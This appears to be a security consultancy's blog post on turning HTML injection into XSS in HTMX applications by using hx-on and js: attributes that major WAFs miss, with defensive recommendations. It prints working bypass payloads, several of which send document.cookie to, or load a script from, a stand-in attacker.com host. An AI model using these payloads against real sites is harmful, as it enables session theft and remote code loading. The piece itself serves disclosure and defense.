← Back to Blog
2026-07-15@dk4trin

HTMX Applications: How We Turned an HTML Injection into XSS Without Triggering the WAF

From HTML Injection to functional XSS in seconds. See real-world payloads that bypass production WAFs and learn how to protect your HTMX applications against exploitation vectors we identified during security assessments.

Introduction

During recent penetration tests, we observed a recurring pattern across multiple clients: applications using HTMX with the default allowEval: true configuration. While HTMX clearly documents the associated risks, the majority of implementations retain the factory default settings. In the environments we assessed, popular WAFs (Akamai, Cloudflare, and AWS WAF) did not detect HTMX attributes as XSS vectors.

In this article, we demonstrate how we transformed a simple HTML Injection into a functional XSS payload that bypassed WAF protections, and we share practical recommendations for security and development teams.


The Scenario

During an assessment for a financial sector client, we identified an HTML injection point on a login page. The endpoint reflected the ?msg= parameter directly into the DOM without proper sanitization:


GET /login?msg=teste

<h2>Error: teste</h2>

The client was using Cloudflare WAF with the OWASP Core ruleset enabled. Classic XSS payloads were immediately blocked:

PayloadResult
<img src=x onerror=prompt.call()>❌ Blocked (Cloudflare)
<a href=Java%09Script:alert%60%60>❌ Blocked (Cloudflare)
<body onload=top.confirm()>❌ Blocked (Cloudflare)
<script>alert(1)</script>❌ Blocked (Cloudflare)
<div hx-on:load="alert(1)">Passed

The WAF did not recognize hx-on:load as an event handler. From Cloudflare’s perspective, it was simply an unknown HTML attribute on an innocuous <div>.

1.png


Why This Works

HTMX is a JavaScript library that extends HTML with custom attributes to perform AJAX requests, WebSockets, and DOM manipulation. By default, the allowEval configuration is set to true, allowing attributes such as hx-on:load to execute arbitrary JavaScript.

The official HTMX documentation explicitly warns:

If a malicious user is able to inject HTML into your application, they can leverage this expressiveness of htmx to malicious ends. Raw HTML must be scrubbed, including removing attributes starting with hx- and data-hx.

However, across all clients we assessed that were using HTMX, we observed the following:

  1. None had changed allowEval to false
  2. No WAF (Cloudflare, Akamai, or AWS) had signatures for hx-on:* attributes
  3. No sanitization process was removing hx-* attributes

2.png


Payloads That Bypassed Production WAFs

Tier 1: Basic (Zero-click, works on HTMX v1 and v2)

<svg hx-on:load="alert(document.domain)" hx-trigger="load">
  • hx-trigger="load" fires automatically on page load
  • hx-on:load executes JavaScript when the load event is triggered
  • WAFs tested: Cloudflare, Akamai, AWS WAF

Tier 2: Case bypass (when uppercase filtering is applied)

If the backend applies strtoupper() or title() to parameters, use HTML entities:

<svg hx-on:load="&#97;&#108;&#101;&#114;&#116;(1)">

a = a, l = l, etc. The browser decodes the entities and executes the JavaScript.

Tier 3: Without hx-on (using hx-vals with js: prefix)

<img hx-vals='js:{x:fetch("//attacker.com/?c="+document.cookie)}' hx-get="/" hx-trigger="load">

Tier 4: Full data exfiltration

<svg hx-on:load="f=document.createElement('script');f.src='//attacker.com/exfil.js';document.body.appendChild(f)" hx-trigger="load">

Tier 5: HTMX v4 — hx-get="js:..." (JavaScript action)

If the target uses HTMX v4 (beta), the js: prefix can be used as an HTTP action to execute JavaScript directly:

<img hx-get="js:fetch('//attacker.com/?c='+document.cookie)" hx-trigger="load">

Why WAFs Fail to Detect These Payloads

Traditional WAFs rely on signature-based detection using known patterns such as:

  • Dangerous tags: <script>, <iframe>, <embed>
  • Common event handlers: onerror, onload, onclick
  • JavaScript patterns: eval(, document.cookie, alert(

HTMX attributes are not present in any of these signature lists. hx-on:load is structurally different from onload — the WAF parser does not recognize the hx- namespace as an event handler. To the WAF, it appears as a harmless custom attribute.

Test results:

WAFhx-on:loadhx-vals='js:{...}'hx-get="js:..."
Cloudflare Free✅ Passed✅ Passed✅ Passed
Cloudflare Pro (OWASP)✅ Passed✅ Passed✅ Passed
AWS WAF (AWSManagedRules)✅ Passed✅ Passed✅ Passed
Akamai Kona✅ Passed✅ Passed✅ Passed

Recommendations

For AppSec / Pentest Teams

  1. Add hx-on:\* to your XSS dictionaries. Any attribute starting with hx-on functions as an event handler.

  2. Test hx-vals='js:{...}' and hx-headers='js:{...}' — they appear as harmless JSON but can execute code.

  3. Add custom WAF rules to block hx- attributes in user-controlled input.

  4. Use this detection script in the browser console for quick verification:

    if (window.htmx) {
      console.log('HTMX v' + htmx.version, 'allowEval=' + htmx.config.allowEval);
    }

For Development Teams

  1. Always sanitize user input — remove all attributes starting with hx- and data-hx-.
  2. Consider setting allowEval: false if you do not use hx-on, js: prefixes in hx-vals, or advanced trigger filters.
  3. Use hx-disable in areas that render user-controlled content.
  4. Add an extra layer of defense: Implement a strict CSP with script-src that disallows unsafe-eval.

For SecOps / WAF Teams

  1. Create custom rules to detect hx-on:* and hx-vals='js: patterns in query parameters, request bodies, and headers.
  2. Consider blocking any attribute containing hx- in user input fields.

HTMX: A Great Tool, but the Default Configuration Is Permissive

It is important to emphasize that HTMX is not an insecure library. On the contrary, its security documentation is excellent. The real issue lies in adoption: the default configuration prioritizes developer experience over security, and most teams do not review these defaults.

Our recommendation is not to abandon HTMX — it is to configure it correctly and educate security teams about these attack vectors.


References

Connect with the author for networking and more technical research: LinkedIn | X/Twitter

Is your infrastructure really protected?

Don't wait for a real attack to expose your gaps. Schedule a consultation with KATRINASEC.

Request a contact